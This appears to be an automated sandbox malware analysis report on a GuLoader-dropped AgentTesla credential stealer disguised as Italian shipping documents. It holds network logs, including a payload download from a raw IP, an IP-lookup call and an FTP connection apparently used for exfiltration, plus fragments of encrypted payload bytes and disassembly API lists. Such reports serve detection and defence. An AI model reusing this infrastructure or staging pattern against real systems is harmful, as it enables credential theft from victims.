Oct 21, 2024 08:25:13.645281076 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.645339012 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.645360947 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.645370007 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.645380974 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.645437956 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.645437956 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.645751953 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.645813942 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.682518005 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.682528973 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.682590961 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.682637930 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.682648897 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.682661057 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.682672024 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.682696104 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.682725906 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.683130980 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.683140993 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.683156013 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.683192968 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.683193922 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.757251978 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.757262945 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.757268906 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.757273912 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.757498026 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.757524014 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.757529974 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.757606030 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:13.762455940 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.762465954 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:13.762510061 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:14.318531036 CEST	64703	443	192.168.2.5	104.26.13.205
Oct 21, 2024 08:25:14.318569899 CEST	443	64703	104.26.13.205	192.168.2.5
Oct 21, 2024 08:25:14.318653107 CEST	64703	443	192.168.2.5	104.26.13.205
Oct 21, 2024 08:25:14.332398891 CEST	64703	443	192.168.2.5	104.26.13.205
Oct 21, 2024 08:25:14.332422972 CEST	443	64703	104.26.13.205	192.168.2.5
Oct 21, 2024 08:25:14.954675913 CEST	443	64703	104.26.13.205	192.168.2.5
Oct 21, 2024 08:25:14.954814911 CEST	64703	443	192.168.2.5	104.26.13.205
Oct 21, 2024 08:25:14.956661940 CEST	64703	443	192.168.2.5	104.26.13.205
Oct 21, 2024 08:25:14.956675053 CEST	443	64703	104.26.13.205	192.168.2.5
Oct 21, 2024 08:25:14.957075119 CEST	443	64703	104.26.13.205	192.168.2.5
Oct 21, 2024 08:25:15.009852886 CEST	64703	443	192.168.2.5	104.26.13.205
Oct 21, 2024 08:25:15.018683910 CEST	64703	443	192.168.2.5	104.26.13.205
Oct 21, 2024 08:25:15.059446096 CEST	443	64703	104.26.13.205	192.168.2.5
Oct 21, 2024 08:25:15.204781055 CEST	443	64703	104.26.13.205	192.168.2.5
Oct 21, 2024 08:25:15.204933882 CEST	443	64703	104.26.13.205	192.168.2.5
Oct 21, 2024 08:25:15.204996109 CEST	64703	443	192.168.2.5	104.26.13.205
Oct 21, 2024 08:25:15.211796045 CEST	64703	443	192.168.2.5	104.26.13.205
Oct 21, 2024 08:25:16.496897936 CEST	64704	21	192.168.2.5	192.185.13.234
Oct 21, 2024 08:25:16.501951933 CEST	21	64704	192.185.13.234	192.168.2.5
Oct 21, 2024 08:25:16.502033949 CEST	64704	21	192.168.2.5	192.185.13.234
Oct 21, 2024 08:25:16.506221056 CEST	64704	21	192.168.2.5	192.185.13.234
Oct 21, 2024 08:25:16.512188911 CEST	21	64704	192.185.13.234	192.168.2.5
Oct 21, 2024 08:25:16.512250900 CEST	64704	21	192.168.2.5	192.185.13.234

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 08:24:27.283073902 CEST	53	60097	162.159.36.2	192.168.2.5
Oct 21, 2024 08:24:27.893587112 CEST	53619	53	192.168.2.5	1.1.1.1
Oct 21, 2024 08:24:27.900473118 CEST	53	53619	1.1.1.1	192.168.2.5
Oct 21, 2024 08:25:14.306066990 CEST	57209	53	192.168.2.5	1.1.1.1
Oct 21, 2024 08:25:14.312736988 CEST	53	57209	1.1.1.1	192.168.2.5
Oct 21, 2024 08:25:16.177403927 CEST	61454	53	192.168.2.5	1.1.1.1
Oct 21, 2024 08:25:16.493046999 CEST	53	61454	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 21, 2024 08:24:27.893587112 CEST	192.168.2.5	1.1.1.1	0xef	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 21, 2024 08:25:14.306066990 CEST	192.168.2.5	1.1.1.1	0x8538	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Oct 21, 2024 08:25:16.177403927 CEST	192.168.2.5	1.1.1.1	0x2efe	Standard query (0)	ftp.concaribe.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 21, 2024 08:24:27.900473118 CEST	1.1.1.1	192.168.2.5	0xef	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 21, 2024 08:25:14.312736988 CEST	1.1.1.1	192.168.2.5	0x8538	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Oct 21, 2024 08:25:14.312736988 CEST	1.1.1.1	192.168.2.5	0x8538	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Oct 21, 2024 08:25:14.312736988 CEST	1.1.1.1	192.168.2.5	0x8538	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Oct 21, 2024 08:25:16.493046999 CEST	1.1.1.1	192.168.2.5	0x2efe	No error (0)	ftp.concaribe.com	concaribe.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 08:25:16.493046999 CEST	1.1.1.1	192.168.2.5	0x2efe	No error (0)	concaribe.com		192.185.13.234	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

84.38.129.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	64702	84.38.129.16	80	6360	C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 08:25:11.209271908 CEST	171	OUT	GET /rNWbaMk175.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: 84.38.129.16 Cache-Control: no-cache
Oct 21, 2024 08:25:12.066445112 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Mon, 21 Oct 2024 00:14:33 GMT Accept-Ranges: bytes ETag: "58afed344e23db1:0" Server: Microsoft-IIS/8.5 Date: Mon, 21 Oct 2024 06:25:10 GMT Content-Length: 241728 Data Raw: 52 ef 6a 38 0e c5 2d 50 c8 be 91 02 87 86 1e 72 e2 5e 28 c3 62 bc 5c 15 0e c4 c7 8a 67 41 5e d4 e6 7d 71 80 af eb 3c 80 d6 5b c0 c8 a9 46 2b 09 26 80 cf 61 8c a9 a2 41 ef 4d 3e 26 86 56 58 0f 97 49 7f c6 5a f3 1c 53 8e 65 47 76 4a e7 73 a1 ce 59 47 eb 4b 6f 3b cf a4 40 f9 53 84 62 17 c4 ff 9d 0a 04 9b dd b1 1b c2 c0 7b 74 68 34 fa ef bc 00 b6 d3 ba 58 27 d6 43 93 ca 95 1b 1c 57 4d 9d 42 7a 48 96 c0 95 96 fc fb c7 e4 a1 8b 77 89 31 ff b3 38 91 d8 a3 9c bb f6 48 18 37 32 65 f1 5d 58 d5 05 f5 df a1 93 e8 a3 31 66 71 dd 42 01 29 63 88 6c 60 5e 5a 8f 41 83 95 6b a3 86 28 47 c1 ee 65 f4 47 58 c7 11 2e cf ce f3 bb 71 b8 7b 5c 6b 68 e1 db b1 5b 1c ce e5 d0 f8 f8 24 de 8c 8a 17 9c 31 bf 6a b8 d4 4b f3 04 12 d3 28 b7 6b cc fd 83 bc e9 2e bf cc c1 b4 ae 4c ca 9b ef 81 0d 94 8c 30 aa fd 3d 15 79 f5 f3 05 a0 3b 4c 81 12 aa 31 ca e4 f1 31 39 e9 6e 48 73 4a a1 f5 cd f9 6c da 26 97 b0 ce 21 4b 10 03 be 82 f1 26 24 8b 54 35 99 97 be 72 d3 6d 9d e0 09 6f 24 5f 81 48 39 57 88 f4 fb a5 bf 31 e5 c3 b5 77 95 22 fb bb eb [TRUNCATED] Data Ascii: Rj8-Pr^(b\gA^}q<[F+&aAM>&VXIZSeGvJsYGKo;@Sb{th4X'CWMBzHw18H72e]X1fqB)cl`^ZAk(GeGX.q{\kh[$1jK(k.L0=y;L119nHsJl&!K&$T5rmo$_H9W1w"3EZx`.XxYJt>,cjO3l'x3,dlnR4z%K<xiwL(94$vwD+$kUF%[}EUXHeEO=1dm:B99F}yELiikUqc]hp="C+(r%ElK]ARQ!%y&Cj`PWLtf_f^aL^iRl'{y0{W#-vuEBPEYpIA:=ItHj0_\|z(v9[_EMcQtiA"RL ZGU]uwz}@ib\v>HP3oIT31mElFMP)jho{{epPPfCEGj BC/w@Y@3<ZGHA;~M+y8q{?6}YYV~0 Ds5#l3Bkj:Oc3Gjq
Oct 21, 2024 08:25:12.066463947 CEST	1236	IN	Data Raw: a7 d0 26 a1 09 f4 86 1e 86 b0 e3 ee 3c 71 b9 5b 4b 6a 27 c9 eb 8c c7 25 25 85 ed 26 55 8c 45 0a 84 62 5c a3 9f cd cb 24 1b 17 87 8b 8d 88 a5 17 3c 04 32 52 62 08 21 f0 3c c0 c6 8f 5e c7 0a 8e 64 6f 9d 84 82 e3 58 ad 12 96 8f 03 d5 c4 f6 5f 92 db Data Ascii: &<q[Kj'%%&UEb\$<2Rb!<^doX_^-29_+6ZXSDHcEKL])8z8N9.BlR)]@}9 t;YQtchvvYA*o;^(b1\41(B4V-]ft[U8
Oct 21, 2024 08:25:12.066476107 CEST	424	IN	Data Raw: ba 7b 8e a9 6b 82 c4 e6 ad 2a 9c 34 ac 75 82 ec d2 0c d5 da ad f9 77 34 bb f1 20 70 dc 39 f1 c4 22 6b 1c 53 8e 4f 65 74 b6 65 eb a1 76 5d 6d a1 49 47 28 cf e4 4a fb 21 03 43 17 b4 d7 70 0a 04 9d f7 af 19 b9 59 7b 74 6c 1e d8 ed bf 7d 2f d3 ba 5c Data Ascii: {k*4uw4 p9"kSOetev]mIG(J!CpY{tl}/\AU?`6[i0#\J^B1Tt)r>=_F3#?JyufkvSc{ZAv@-YA{B<`!L0_1N50
Oct 21, 2024 08:25:12.066488028 CEST	1236	IN	Data Raw: 86 37 82 19 2e af ed 19 42 0f bc 28 e9 b8 5d 5b b5 eb 57 c6 69 5c 8f 84 2b f1 23 dd a9 05 d5 71 c6 85 f7 2a 14 fb dd e0 c5 5a 80 ca 6d b8 b6 72 98 98 31 60 e1 d4 b4 f8 8b 3a a2 8d e8 d5 c3 8c c0 87 0f e3 31 d1 82 e5 c2 ac 7b f8 04 11 64 07 08 14 Data Ascii: 7.B(][Wi\+#q*Zmr1`:1{dyAfioS]h.nF&a)+\tFr]cQ4h!nR5CDX`Q}pL3\fc!L\)=jygt_!?1<~WuH$C;T7ZjqK?g
Oct 21, 2024 08:25:12.066500902 CEST	1236	IN	Data Raw: 98 7e 0c 4d cd e4 f0 b8 81 11 37 9e af 94 7a fa ea 54 72 d3 84 4c 18 cf 6a 64 39 f2 5d 90 be 4c f5 a5 f6 46 63 09 ce e0 4f f6 06 68 52 0a ba 97 9b 88 e2 97 68 0d d4 79 02 75 66 74 87 5f 09 8b 9b d6 7c 17 ca 37 8e 70 d4 00 46 84 52 40 c7 50 02 a5 Data Ascii: ~M7zTrLjd9]LFcOhRhyuft_\|7pFR@P}jh(apLWb\m7[n{~dr)3LW)mszo!GIVp<m<Rl8J Ix16P,5C+'0,,
Oct 21, 2024 08:25:12.066512108 CEST	424	IN	Data Raw: 06 24 9b 1a fc 1b 11 e7 ac 19 19 2a e4 a3 fd 39 8d 38 91 8f 04 a2 78 07 b9 e1 d5 21 a6 f7 43 ac 6f ee cf 92 d8 48 ba 0b 5b 86 3d 69 32 9b e8 16 d3 87 b2 5b a0 14 18 4e 38 03 3a 17 b2 80 94 ff 22 49 b6 68 da 33 8e b9 af fe cb 87 49 d1 37 8f c2 36 Data Ascii: $*98x!CoH[=i2[N8:"Ih3I76>5\|.-epPHQ_E1`<LY]dp!Xy3<ZMGJBT:NGKGnM\|?l-PjUqX4}WF4am;9=
Oct 21, 2024 08:25:12.193813086 CEST	1236	IN	Data Raw: 33 ee c6 59 f3 62 56 8a 65 43 04 bc 18 73 d1 04 54 47 eb 3b 00 2e cf e4 4a 5b ad 88 61 17 e4 fd 9d 0a 04 e9 cc b1 1b b2 62 85 78 6b 34 da ec bc 00 b6 fb ac 58 27 dc bd 9d ce 95 65 11 53 4d e1 48 c0 46 e6 5c 8b 5b dd 49 64 56 60 a9 23 c1 5c 8c 93 Data Ascii: 3YbVeCsTG;.J[abxk4X'eSMHF\[IdV`#\H9wU\#)x_F3l!D~N#eC(AL)e:$qikh\;m1*32kjJv'79LkHSKHe&5^$K0TTE;
Oct 21, 2024 08:25:12.193834066 CEST	1236	IN	Data Raw: 45 7d bb 7b a2 67 6a e1 54 16 58 1d c3 96 3c f8 f8 f2 f5 96 8a 1f 96 4c 91 6b b8 d0 5b 3a 04 12 a1 f9 b7 6b bc 60 b0 bd e9 2a 01 c0 c2 94 c1 7f ca 99 e5 7f 04 91 8c 18 9e fd 3d 1f 47 96 0c fa 5f e6 5c 81 12 8a cb c7 e1 f3 cf 2f ef 6e 48 68 27 87 Data Ascii: E}{gjTX<Lk[:k`=G_\/nHh'H4K@&KT5ytEeQX11"v3DZd]x^ixYJ:,MjK&d?&n'x3Ky/dlkR=zU$)xUsLT(D5Y
Oct 21, 2024 08:25:12.193845034 CEST	1236	IN	Data Raw: a0 64 b5 59 78 d0 ed df 89 de 9e 80 c8 ed 2e 58 97 93 dc 78 c8 9e aa 12 49 74 d9 1e 3f e3 63 eb 94 41 87 9a 33 62 a7 05 6c 87 26 78 c8 89 cd 90 b3 fe 87 bb 96 e7 88 2c 64 6c 5a a5 6e 52 1f 66 b3 35 b3 5a 27 f2 18 db f3 fb 48 3c 96 86 bf f4 69 5f Data Ascii: dYx.XxIt?cA3bl&x,dlZnRf5Z'H<i_LP.a9:\VA$kU,F%`+[qk!+{wFZzL=1-:\!7yfi~FLeifUq@h**<"C)rtnlL#
Oct 21, 2024 08:25:12.193855047 CEST	1236	IN	Data Raw: 71 85 2b f5 09 01 a7 06 a8 f5 c4 85 f3 00 f4 f8 9f 5d c5 5a 84 c8 74 ba b5 05 52 a4 31 64 c1 4a b0 83 2d 3e 82 8a c2 f7 c1 71 b3 21 0f e3 cb f7 9c e7 99 0d 7b f8 00 c5 47 3c 18 69 7e 79 fb 4d 4c ef e7 50 ba 68 80 6b 75 76 f6 06 b6 df 53 68 2a 2a Data Ascii: q+]ZtR1dJ->q!{G<i~yMLPhkuvSh**="C)KtFsE<oI$Z#C$j`aPW{M%tfb^kwLvTRL#{yitu^:5ofuBl1V#wuk<IUQ?do:
Oct 21, 2024 08:25:12.193867922 CEST	1236	IN	Data Raw: 1c 1b 78 6e 11 99 16 90 b8 6c 5d a9 d7 5e 41 28 c8 e2 4c 75 50 65 52 0e 46 9f ea d1 c3 8b 6c 27 ca 85 78 14 4e 74 83 75 fd 90 b7 c8 05 7f ed 35 8a 88 f2 51 44 8c 75 42 c7 56 fe ab 3d 24 64 25 86 a5 0f 16 89 16 7d cd a0 ce 75 61 2a 71 32 86 ca ec Data Ascii: xnl]^A(LuPeRFl'xNtu5QDuBV=$d%}uaq2EUnQ?]5wcy%+q'N'($;8op3xGv"coUD0iyn9L"IH^3G4X,97RH9\C1Pi\|PAfD&j

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	64703	104.26.13.205	443	6360	C:\Users\user\Desktop\Documenti di spedizione.bat.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 06:25:15 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-10-21 06:25:15 UTC	211	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 06:25:15 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8d5f2b554e983ab8-DFW
2024-10-21 06:25:15 UTC	14	IN	Data Raw: 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 Data Ascii: 155.94.241.186

Target ID:	0
Start time:	02:23:52
Start date:	21/10/2024
Path:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Documenti di spedizione.bat.exe"
Imagebase:	0x400000
File size:	1'007'169 bytes
MD5 hash:	C2D72D131FE371481A0CC117BB835F23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2622907662.0000000007225000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:24:53
Start date:	21/10/2024
Path:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Documenti di spedizione.bat.exe"
Imagebase:	0x400000
File size:	1'007'169 bytes
MD5 hash:	C2D72D131FE371481A0CC117BB835F23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.3268012189.0000000035D3C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3268012189.0000000035D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.3268012189.0000000035D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	24.1%
Dynamic/Decrypted Code Coverage:	13.9%
Signature Coverage:	21.3%
Total number of Nodes:	1520
Total number of Limit Nodes:	53

Executed Functions

Function 004032BF Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 357
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032E4
GetVersion.KERNEL32 ref: 004032EA
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403313
#17.COMCTL32(00000007,00000009), ref: 00403335
OleInitialize.OLE32(00000000), ref: 0040333C
SHGetFileInfoA.SHELL32(0041ECF0,00000000,?,00000160,00000000), ref: 00403358
GetCommandLineA.KERNEL32(00422F20,NSIS Error), ref: 0040336D
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Documenti di spedizione.bat.exe",00000000), ref: 00403380
CharNextA.USER32(00000000,"C:\Users\user\Desktop\Documenti di spedizione.bat.exe",00000020), ref: 004033AB
GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004034A8
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034B9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034C5
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034D9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034E1
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004034F2
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004034FA
DeleteFileA.KERNELBASE(1033), ref: 0040350E

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

OleUninitialize.OLE32(?), ref: 004035BC
ExitProcess.KERNEL32 ref: 004035DD
GetCurrentProcess.KERNEL32(00000028,?), ref: 004036FA
OpenProcessToken.ADVAPI32(00000000), ref: 00403701
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403719
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403738
ExitWindowsEx.USER32(00000002,80040002), ref: 0040375C
ExitProcess.KERNEL32 ref: 0040377F

Part of subcall function 004056ED: MessageBoxIndirectA.USER32(00409230), ref: 00405748

Strings

Error launching installer, xrefs: 00403574
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D3
TMP, xrefs: 004034F5
C:\Users\user\AppData\Local\Temp\, xrefs: 0040349D, 004034A2, 004034B8, 004034C4, 004034D3, 004034E0, 004034EC, 004034F4, 004035ED, 004035FE, 00403609, 00403615, 00403622, 00403631, 004036E0
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid, xrefs: 00403599
UXTHEME, xrefs: 00403307, 0040330C, 00403312
NSIS Error, xrefs: 0040335E
", xrefs: 004033D0
~nsu, xrefs: 004035E8
1033, xrefs: 00403509
\Temp, xrefs: 004034BF
SeShutdownPrivilege, xrefs: 00403713
C:\Users\user\Desktop\Documenti di spedizione.bat.exe, xrefs: 0040369A
.tmp, xrefs: 00403604
"C:\Users\user\Desktop\Documenti di spedizione.bat.exe", xrefs: 00403373, 00403379, 00403532
TEMP, xrefs: 004034ED
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously, xrefs: 0040348D, 0040358E, 00403638, 00403641
Low, xrefs: 004034DB
C:\Users\user\Desktop, xrefs: 0040360F, 00403614, 00403640

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$"C:\Users\user\Desktop\Documenti di spedizione.bat.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Documenti di spedizione.bat.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3329125770-870891048
Opcode ID: e89bfe13b8eb1ba36e43d38e3c68fc4bfbdc91619f963e3beaaf1f3555cbe72f
Instruction ID: 987bc29005933e48b9d04248005189ae3273ffe916fb5a61461eda946c2e522c
Opcode Fuzzy Hash: e89bfe13b8eb1ba36e43d38e3c68fc4bfbdc91619f963e3beaaf1f3555cbe72f
Instruction Fuzzy Hash: FCC109706082816AE7216F259D49A2F3EACEF81706F44447FF481761E2CB7C9A05CB6E

Function 0040524E Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004052AD
GetDlgItem.USER32(?,000003EE), ref: 004052BC
GetClientRect.USER32(?,?), ref: 004052F9
GetSystemMetrics.USER32(00000002), ref: 00405300
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405321
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405332
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405345
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405353
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405366
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405388
ShowWindow.USER32(?,00000008), ref: 0040539C
GetDlgItem.USER32(?,000003EC), ref: 004053BD
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004053CD
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004053E6
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004053F2
GetDlgItem.USER32(?,000003F8), ref: 004052CB

Part of subcall function 00404111: SendMessageA.USER32(00000028,?,00000001,00403F42), ref: 0040411F

GetDlgItem.USER32(?,000003EC), ref: 0040540E
CreateThread.KERNELBASE(00000000,00000000,Function_000051E2,00000000), ref: 0040541C
CloseHandle.KERNELBASE(00000000), ref: 00405423
ShowWindow.USER32(00000000), ref: 00405446
ShowWindow.USER32(?,00000008), ref: 0040544D
ShowWindow.USER32(00000008), ref: 00405493
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004054C7
CreatePopupMenu.USER32 ref: 004054D8
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004054ED
GetWindowRect.USER32(?,000000FF), ref: 0040550D
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405526
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405562
OpenClipboard.USER32(00000000), ref: 00405572
EmptyClipboard.USER32 ref: 00405578
GlobalAlloc.KERNEL32(00000042,?), ref: 00405581
GlobalLock.KERNEL32(00000000), ref: 0040558B
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040559F
GlobalUnlock.KERNEL32(00000000), ref: 004055B8
SetClipboardData.USER32(00000001,00000000), ref: 004055C3
CloseClipboard.USER32 ref: 004055C9

Strings

dK, xrefs: 0040549D
Gazi Setup: Installing, xrefs: 0040553E

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

